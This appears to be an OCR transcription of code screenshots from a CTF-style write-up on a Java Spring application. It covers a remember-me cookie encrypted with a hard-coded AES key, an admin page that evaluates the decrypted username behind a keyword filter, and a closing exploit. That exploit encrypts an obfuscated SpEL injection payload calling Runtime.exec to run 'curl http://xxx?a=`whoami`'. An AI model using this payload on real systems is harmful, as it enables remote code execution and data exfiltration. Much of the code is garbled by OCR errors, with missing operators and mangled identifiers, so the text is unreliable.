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@PostMapping({"/login"})
public String login(@RequestParam(value "username",required true) String username, @RequestParam(value

"password",required = true) String password, @RequestParam(value "remember-me", required false) String isRem
ember, HttpSession session, HttpServletResponse response) {

if (this.userConfig.getUsername().contentEquals(username) this.userConfig.getPassword().contentEquals
(password)) {

session.setAttribute("username"”, username);
if (isRemember null isRemember.equals("")) {

Cookie c new Cookie("remember-me", this.userConfig.encryptRememberMe());
c.setMaxAge(2592000) ;

response.addCookie(c);

return "redirect:/";
} else {

return "redirect:/login-error";
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Hello, admin

This is admin panel.
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@GetMapping

String admin(@CookieValue(value = required = ) String rememberMeValue, HttpSession session, Model model) {

(rememberMeValue = && !'rememberMeValue.equals(""))

String username .decryptRememberMe(rememberMeValue)

(username = )

session.setAttribute( username)
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String admin(@CookieValue(value = required = ) String remember

(rememberMeValue == && 'rememberMeValue.equals("")) {
String username = : .decryptRememberMe(rememberMeValue)
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(username = ) H
session.setAttribute( username)
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Object username_=_session.getAttribute( )
(username = E& TUSemmage. taString().equals("" )%
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model.addAttribute( .getAdvanceValue (username.toString()))
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String getAdvanceValue(String val) {
String[] var2 =
var3 = var2.

( var4 = var4d < var3d; +var4) {
String keyword = var2[var4]
Matcher matcher = Pattern.compile(keyword J.matcher(val
(matcher.find()) {
HttpClientErrorException(HttpStatus.FORBIDDEN)
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class Encryptor {
static Logger logger LoggerFactory.getlLogger (Encryptor.class);

public Encryptor() {
}

public static String encrypt(String key, String initVector, String value) {

try {
IvParameterSpec iv new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, skeySpec, iv);
byte[] encrypted cipher.doFinal(value.getBytes());
return Base64.getUrlEncoder().encodeToString(encrypted);

} catch (Exception var7) {
logger.warn(var7.getMessage());

return null;

public static String decrypt(String key, String initVector, String encrypted) {

try {
IvParameterSpec iv new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(2, skeySpec, iv);
byte[] original cipher.doFinal(Base64.getUrlDecoder().decode(encrypted));
return new String(original);

} catch (Exception var7) {
logger.warn(var7.getMessage());
return null;

public class RMIServer {

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, In

vocationTargetException, IllegalAccessException, InstantiationException {
System.out.println(Encryptor.encrypt("c@dehacklingherel”, "0©123456789abcdef", "#{T(String).getClass().fon
Name (\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\
"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"
ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl http://xxx?a="whoami \"})}"));
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